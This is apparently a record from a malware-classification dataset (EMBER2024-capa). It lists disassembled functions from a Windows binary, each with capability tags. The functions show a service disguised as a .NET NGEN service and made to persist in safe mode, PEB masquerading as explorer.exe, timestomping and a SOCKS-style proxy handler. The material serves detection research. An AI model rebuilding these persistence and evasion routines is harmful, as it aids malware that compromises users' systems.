joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4057af
Capabilities:
Delete service
Query service status
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push 1
call fcn.004038c6
pop ecx
test al, al
je 0x4057c5
mov al, 1
leave
ret
push ebx
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x405853
push edi
push 0xf01ff
push dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
cmp edi, ebx
je 0x405849
push esi
lea eax, [ebp - 0x20]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x40583a
cmp dword [ebp - 0x1c], 4
je 0x405858
cmp dword [ebp - 0x1c], 2
je 0x405858
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x40583a
xor esi, esi
push 1
call fcn.004038c6
pop ecx
test al, al
jne 0x405858
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc esi
cmp esi, 0x3c
jl 0x40581d
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
mov al, bl
pop ebx
leave
ret
mov bl, 1
jmp 0x405841

Function at 0x40585c
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push edi
lea eax, [ebp - 0xc]
push eax
mov edi, 0x2011f
push edi
xor ebx, ebx
push ebx
push str.SYSTEMCurrentControlSetControlSafeBoot
push getsockname
call esi
test eax, eax
jne 0x4058f3
lea eax, [ebp - 8]
push eax
push edi
push ebx
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call esi
test eax, eax
jne 0x4058ea
push ebx
lea eax, [ebp - 4]
push eax
push ebx
push 0x20106
push ebx
push ebx
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x4058e1
mov esi, str.Service
lea edi, [ebp - 0x20]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 0x12
movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x20]
push eax
push 1
movsd dword es:[edi], dword [esi]
push ebx
push dword [ebp - 4]
movsw word es:[edi], word [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4058f8
Capabilities:
Create service
Modify service
Persist via windows service
Start service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x448
push ebx
push 0xf003f
xor ebx, ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 8], eax
cmp eax, ebx
je 0x405a3f
push esi
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push edi
push 0xffff
call fcn.00402727
pop ecx
movzx edi, ax
call fcn.00406a37
test al, al
push edi
lea eax, [ebp - 0x240]
je 0x405952
push str.NGEN_u_32
push eax
call esi
push edi
push str.Microsoft_.NET_Framework_NGEN_v2.0._u_X86
jmp 0x405960
push str.NGEN_u
push eax
call esi
push edi
push str.Microsoft_.NET_Framework_NGEN_v2.0._u
lea eax, [ebp - 0x448]
push eax
call esi
add esp, 0x18
push 0x409458
push str.LocalSystem
push ebx
push ebx
push ebx
push dword [ebp + 8]
lea eax, [ebp - 0x448]
push ebx
push 2
push 0x10
push 0xf01ff
push eax
lea eax, [ebp - 0x240]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x405924
mov edi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
lea ecx, [ebp - 0xc]
push ecx
xor esi, esi
inc esi
push esi
push eax
mov dword [ebp - 0xc], str.Microsoft_.NET_Framework_NGEN
call edi
mov eax, 0xea60
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x20]
push eax
push 2
push dword [ebp - 4]
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x20], 0x15180
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], 3
call edi
push ebx
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
setne bl
call esi
push dword [ebp - 8]
call esi
lea eax, [ebp - 0x240]
push str.Minimal
push eax
call fcn.0040585c
lea eax, [ebp - 0x240]
push str.Network
push eax
call fcn.0040585c
add esp, 0x10
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
Function at 0x405a89
Capabilities:
Enumerate services

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
push 0xf003f
push ebx
push ebx
mov byte [ebp - 1], bl
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x405be1
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_EnumServicesStatusExW]
push ebx
push ebx
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
push ecx
push ebx
push ebx
push 3
push 0x30
push ebx
push eax
call esi
test eax, eax
jne 0x405bd7
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x405bd7
push edi
push dword [ebp - 8]
call fcn.004025af
mov edi, eax
pop ecx
mov dword [ebp - 0x24], edi
cmp edi, ebx
je 0x405bd6
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push edi
push 3
push 0x30
push ebx
push dword [ebp - 0x18]
call esi
test eax, eax
je 0x405bcd
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x14], ebx
jbe 0x405bcd
push 1
push dword [edi]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
je 0x405bbb
lea ecx, [ebp - 0xc]
push ecx
push ebx
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
jne 0x405bad
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x405bad
push dword [ebp - 0xc]
call fcn.004025af
mov esi, eax
pop ecx
cmp esi, ebx
je 0x405bad
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0xc]
push esi
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_QueryServiceConfigW]
test eax, eax
je 0x405ba6
push dword [ebp - 0x20]
push dword [ebp + 8]
push dword [esi + 0xc]
call dword [sym.imp.SHLWAPI.dll_StrCmpNIW]
test eax, eax
jne 0x405ba6
push dword [edi]
mov byte [ebp - 1], 1
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
call fcn.0040264c
pop ecx
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp byte [ebp - 1], bl
jne 0x405bcd
inc dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add edi, 0x2c
cmp eax, dword [ebp - 0x14]
jb 0x405b30
push dword [ebp - 0x24]
call fcn.0040264c
pop ecx
pop edi
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop esi
mov al, byte [ebp - 1]
pop ebx
leave
ret
Function at 0x405c35
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [ebp + 0xc], 0xffffffff
je 0x405c7c
test byte [ebp + 0x14], 2
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0xc]
mov dword [ebp - 4], 0x10
je 0x405c68
call dword [sym.imp.WS2_32.dll_getpeername]
test eax, eax
je 0x405c70
or eax, 0xffffffff
leave
ret
call dword [sym.imp.WS2_32.dll_getsockname]
jmp 0x405c5f
mov eax, dword [ebp - 0x18]
mov dword [ebp - 8], eax
mov ax, word [ebp - 0x1a]
jmp 0x405c82
and dword [ebp - 8], 0
xor eax, eax
mov word [ebp - 0xa], ax
mov al, byte [ebp + 0x10]
push 0
mov byte [ebp - 0xb], al
push 8
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
mov byte [ebp - 0xc], 0
call fcn.00402b12
sub eax, 8
add esp, 0x10
neg eax
sbb eax, eax
inc eax
leave
ret
Function at 0x405cad
Capabilities:
Receive data
Receive data on socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
push ebx
mov ebx, dword [ebp + 8]
push esi
push ebx
call fcn.00402b6f
mov esi, dword [sym.imp.WS2_32.dll_recv]
pop ecx
xor ecx, ecx
cmp ax, 0x17
push 0
sete cl
push 7
lea eax, [ebp - 0x14]
push eax
push ebx
mov dword [ebp - 0x18], ecx
call esi
cmp eax, 7
jne 0x405e56
push edi
xor edi, edi
inc edi
jmp 0x405cf4
cmp byte [ebp - 1], 0
je 0x405d02
push 0
push edi
lea eax, [ebp - 1]
push eax
push ebx
call esi
cmp eax, edi
je 0x405cee
mov ecx, dword [ebp - 0x11]
mov eax, ecx
and eax, 0xff0000
mov edx, ecx
shr edx, 0x10
or eax, edx
mov edx, ecx
and edx, 0xff00
mov edi, ecx
shl edi, 0x10
or edx, edi
shr eax, 8
shl edx, 8
or eax, edx
dec eax
mov byte [ebp - 5], 0x5a
cmp eax, 0xfe
ja 0x405d74
mov byte [ebp - 1], 0x5a
xor edi, edi
push 0
push 1
lea eax, [ebp - 6]
push eax
push ebx
call esi
cmp eax, 1
jne 0x405d63
mov al, byte [ebp - 6]
mov byte [ebp + edi - 0x134], al
test al, al
je 0x405d86
inc edi
cmp edi, 0xff
jle 0x405d3c
mov byte [ebp - 5], 0x5b
cmp byte [ebp - 5], 0x5a
jne 0x405e55
mov ecx, dword [ebp - 0x11]
movzx eax, byte [ebp - 0x14]
dec eax
mov bl, 1
je 0x405dda
mov byte [ebp - 5], 0x5b
jmp 0x405e42
lea eax, [ebp - 0xc]
push eax
xor edi, edi
push edi
push edi
lea eax, [ebp - 0x134]
push eax
mov dword [ebp - 0xc], edi
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x405dce
mov esi, dword [ebp - 0xc]
cmp esi, edi
je 0x405dc1
cmp dword [esi + 4], 2
je 0x405db8
mov esi, dword [esi + 0x1c]
cmp esi, edi
jne 0x405da9
jmp 0x405dc1
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
mov dword [ebp - 0x11], eax
push dword [ebp - 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp esi, edi
jne 0x405dd2
mov byte [ebp - 1], 0x5b
mov al, byte [ebp - 1]
mov byte [ebp - 5], al
jmp 0x405d67
push 2
pop eax
mov word [ebp - 0x34], ax
mov ax, word [ebp - 0x13]
mov word [ebp - 0x32], ax
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x30], ecx
call fcn.00402bea
mov esi, eax
pop ecx
cmp esi, 0xffffffff
je 0x405d7d
push dword [ebp - 0x18]
mov edi, dword [ebp + 8]
push 0x5a
push esi
push edi
call fcn.00405c35
add esp, 0x10
cmp eax, 1
jne 0x405e2a
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], esi
mov byte [ebp - 0x1c], 0
call fcn.00403120
pop ecx
jmp 0x405e37
cmp eax, 0xffffffff
jne 0x405e35
mov byte [ebp - 5], 0x5b
jmp 0x405e37
xor bl, bl
push esi
call fcn.00402ba7
pop ecx
test bl, bl
je 0x405e55
push dword [ebp - 0x18]
push dword [ebp - 5]
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00405c35
add esp, 0x10
pop edi
pop esi
pop ebx
leave
ret
Function at 0x405fc3
Capabilities:
Get common file path

Disassembly:
push esi
push edi
call fcn.00406c85
push 0x104
mov esi, 0x43bec0
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push str.explorer.exe
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
call dword [sym.imp.ntdll.dll_RtlAcquirePebLock]
mov eax, dword [edi + 0x10]
mov ecx, esi
lea edx, [ecx + 2]
push ebx
mov bx, word [ecx]
add ecx, 2
test bx, bx
jne 0x405ff8
sub ecx, edx
mov edx, dword [0x40b3f8]
sar ecx, 1
add ecx, ecx
mov word [eax + 0x38], cx
add ecx, 2
mov word [eax + 0x3a], cx
mov dword [eax + 0x3c], esi
mov eax, dword [edi + 0x10]
pop ebx
test edx, edx
je 0x406044
mov ecx, edx
lea edi, [ecx + 2]
mov si, word [ecx]
add ecx, 2
test si, si
jne 0x40602a
sub ecx, edi
sar ecx, 1
add ecx, ecx
mov word [eax + 0x40], cx
add ecx, 2
jmp 0x40604a
xor ecx, ecx
mov word [eax + 0x40], cx
mov word [eax + 0x42], cx
mov dword [eax + 0x44], edx
call dword [sym.imp.ntdll.dll_RtlReleasePebLock]
push 0
push 0x405f3c
push 0
call dword [sym.imp.ntdll.dll_LdrEnumerateLoadedModules]
pop edi
pop esi
ret

Function at 0x406254
Capabilities:
Create thread

Disassembly:
push ebx
xor ebx, ebx
cmp byte [0x40b474], bl
je 0x4062ac
call fcn.00406b3e
test al, al
je 0x4062ac
push esi
call dword [sym.imp.ole32.dll_CoUninitialize]
push ebx
push ebx
push ebx
push 0x4060f0
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoInitializeEx]
push ebx
push ebx
push ebx
push 3
push 6
push ebx
push ebx
push 0xffffffffffffffff
push ebx
call dword [sym.imp.ole32.dll_CoInitializeSecurity]
pop esi
pop ebx
ret
Function at 0x406307
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x25c
push esi
push edi
push 0xfffe
call fcn.004025af
mov esi, eax
xor edi, edi
pop ecx
mov dword [ebp - 4], esi
cmp esi, edi
je 0x4064a6
cmp dword [ebp + 0x10], edi
je 0x40649d
cmp dword [ebp + 8], edi
je 0x40649d
cmp dword [ebp + 0xc], edi
je 0x40649d
cmp dword [ebp + 0x18], edi
je 0x40649d
push 0x4097d0
push dword [ebp + 8]
push esi
call fcn.004062ae
add esp, 0xc
test al, al
je 0x40649d
push 0x250
lea eax, [ebp - 0x258]
push edi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x258]
push eax
push esi
mov dword [ebp - 0x25c], 1
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 8], eax
cmp eax, 0xffffffff
je 0x40649d
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
mov ebx, dword [ebp + 0x14]
lea eax, [ebp - 0x22c]
push eax
call fcn.004062de
pop ecx
test al, al
jne 0x406472
mov eax, dword [ebp - 0x258]
and eax, 0x10
je 0x4063d1
test bl, 2
jne 0x4063da
test eax, eax
jne 0x406422
test bl, 4
je 0x406422
xor esi, esi
cmp dword [ebp + 0x10], esi
jbe 0x406422
mov eax, dword [ebp + 0xc]
push dword [eax + esi*4]
lea eax, [ebp - 0x22c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathMatchSpecW]
test eax, eax
jne 0x406400
inc esi
cmp esi, dword [ebp + 0x10]
jb 0x4063e1
jmp 0x406422
push dword [ebp + 0x1c]
lea eax, [ebp - 0x25c]
push eax
push dword [ebp + 8]
call dword [ebp + 0x18]
add esp, 0xc
test eax, eax
je 0x40648c
cmp dword [ebp + 0x24], 0
je 0x406422
push dword [ebp + 0x24]
call edi
test byte [ebp - 0x258], 0x10
je 0x406472
test bl, 1
je 0x406472
lea eax, [ebp - 0x22c]
push eax
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.004062ae
add esp, 0xc
test al, al
je 0x406472
cmp dword [ebp + 0x20], 0
je 0x406454
push dword [ebp + 0x20]
call edi
push dword [ebp + 0x24]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call fcn.00406307
add esp, 0x20
lea eax, [ebp - 0x258]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x4063ac
jmp 0x406493
and dword [ebp - 0x25c], 0
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
pop ebx
push dword [ebp - 4]
call fcn.0040264c
pop ecx
pop edi
pop esi
leave
ret
Function at 0x4064aa
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push 0xfffe
xor ebx, ebx
call fcn.004025af
mov esi, eax
pop ecx
cmp esi, ebx
je 0x406529
push ebx
push esi
push 0x7fff
push ebx
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_SearchPathW]
test eax, eax
je 0x406522
push ebx
push ebx
lea eax, [ebp - 8]
push eax
push esi
call dword [sym.imp.ntdll.dll_RtlDosPathNameToNtPathName_U]
test al, al
je 0x406522
lea eax, [ebp - 8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x18
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], 0x40
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ntdll.dll_ZwDeleteFile]
test eax, eax
lea eax, [ebp - 8]
push eax
setns bl
call dword [sym.imp.ntdll.dll_RtlFreeUnicodeString]
push esi
call fcn.0040264c
pop ecx
pop esi
mov al, bl
pop ebx
leave
ret

Function at 0x40652f
Capabilities:
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
push edi
push 0x80
push esi
xor edi, edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
jmp 0x406565
mov ecx, edi
inc edi
cmp ecx, 0x14
jg 0x406579
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 2
neg eax
sbb eax, eax
inc eax
jne 0x406579
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call fcn.004064aa
pop ecx
xor ecx, ecx
test al, al
setne cl
mov eax, ecx
test eax, eax
je 0x406545
pop edi
pop esi
ret

Function at 0x40657c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret
Function at 0x406591
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1448
call fcn.00406fa0
push ebx
push edi
lea eax, [ebp - 0x40]
push eax
push dword [ebp + 8]
xor ebx, ebx
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov edi, eax
cmp edi, ebx
je 0x4066a2
push esi
push edi
call fcn.004025af
mov esi, eax
pop ecx
cmp esi, ebx
je 0x4066a1
push esi
push edi
push ebx
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoW
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push str.VarFileInfoTranslation
push esi
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
call sub.VERSION.dll_VerQueryValueW
cmp dword [ebp - 8], 4
jb 0x40669a
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x3c], str.Comments
mov dword [ebp - 0x38], 0x409930
mov dword [ebp - 0x34], 0x409918
mov dword [ebp - 0x30], 0x409900
mov dword [ebp - 0x2c], 0x4098e0
mov dword [ebp - 0x28], 0x4098c0
mov dword [ebp - 0x24], 0x4098a0
mov dword [ebp - 0x20], str.LegalTrademarks
mov dword [ebp - 0x1c], str.PrivateBuild
mov dword [ebp - 0x18], 0x40984c
mov dword [ebp - 0x14], 0x409828
mov dword [ebp - 0x10], str.SpecialBuild
push dword [ebp + eax*4 - 0x3c]
mov eax, dword [ebp - 4]
movzx ecx, word [eax + 2]
movzx eax, word [eax]
push ecx
push eax
lea eax, [ebp - 0x1448]
push 0x4097d4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x1448]
push eax
push esi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x40669a
push ebx
push dword [ebp - 0xc]
call fcn.00402d3c
pop ecx
pop ecx
mov ebx, eax
push esi
call fcn.0040264c
pop ecx
pop esi
pop edi
mov eax, ebx
pop ebx
leave
ret

Function at 0x4066f8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push esi
lea eax, [ebp - 0x418]
push eax
push 0x105
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x406799
cmp dword [ebp + 8], esi
jne 0x406726
mov dword [ebp + 8], 0x409994
lea eax, [ebp - 0x20c]
push eax
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x406799
lea eax, [ebp - 0x20c]
push eax
call fcn.0040652f
mov esi, dword [ebp + 0xc]
pop ecx
test esi, esi
je 0x406787
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [ebp + eax*2 - 0x20c]
jmp 0x406770
sub eax, 2
cmp word [eax], 0x2e
jne 0x40676d
cmp word [esi], 0x2e
je 0x40677f
add eax, 2
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x20c]
push 0
push eax
call fcn.00402d3c
pop ecx
pop ecx
mov esi, eax
mov eax, esi
pop esi
leave
ret
Function at 0x40679e
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
xor eax, eax
sub esp, 0x1c
cmp dword [ebp + 8], eax
jne 0x4067af
xor eax, eax
leave
ret
cmp dword [ebp + 0xc], eax
je 0x4067ab
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
push eax
mov edi, 0x2000000
push edi
push 3
push eax
push 1
push closesocket
push dword [ebp + 8]
mov dword [ebp - 4], eax
call esi
mov ebx, eax
cmp ebx, 0xffffffff
je 0x406831
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
xor eax, eax
push eax
push edi
push 3
push eax
push eax
push pe_nt_image_headers32
push dword [ebp + 0xc]
call esi
mov esi, eax
cmp esi, 0xffffffff
je 0x406831
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
neg eax
sbb eax, eax
neg eax
push esi
mov dword [ebp - 4], eax
call ebx
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40689e
Capabilities:
Copy file

Disassembly:
push ebp
push edi
xor ebp, ebp
push ebp
push ebp
call fcn.004066f8
mov edi, eax
pop ecx
pop ecx
cmp edi, ebp
je 0x406913
push ebp
push edi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40690c
push ebx
push 2
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov ebx, eax
cmp ebx, ebp
je 0x406904
push esi
push 1
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov esi, eax
cmp esi, ebp
je 0x4068fc
push esi
push 0x406839
push 0xa
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
push edi
call fcn.0040652f
pop ecx
pop ebx
push edi
call fcn.0040264c
pop ecx
pop edi
pop ebp
ret

Function at 0x406a37
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 0x24], 0
push edi
push 8
pop ecx
xor eax, eax
lea edi, [ebp - 0x20]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor eax, eax
cmp word [ebp - 0x24], 9
pop edi
sete al
leave
ret

Function at 0x406c8c
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
push ebp
xor bl, bl
call dword [sym.imp.SHLWAPI.dll_PathSkipRootW]
mov esi, eax
test esi, esi
jne 0x406ca5
mov esi, ebp
movzx eax, word [esi]
cmp eax, 0x5c
je 0x406cb7
cmp eax, 0x2f
je 0x406cb7
test ax, ax
jne 0x406ce3
mov edi, eax
xor eax, eax
push ebp
mov word [esi], ax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x406cd7
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jmp 0x406cd9
test al, 0x10
je 0x406cea
test di, di
je 0x406ce8
mov word [esi], di
add esi, 2
jmp 0x406ca5
mov bl, 1
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
ret
Function at 0x406d38
Capabilities:
Terminate process

Disassembly:
push ebx
xor ebx, ebx
cmp dword [esp + 8], ebx
je 0x406d8b
push esi
push dword [esp + 0xc]
push ebx
push 0x401
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x406d8a
push esi
call fcn.00406cf1
pop ecx
test al, al
je 0x406d83
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x406d83
push 0x3e8
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, eax
neg ebx
sbb bl, bl
inc bl
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
ret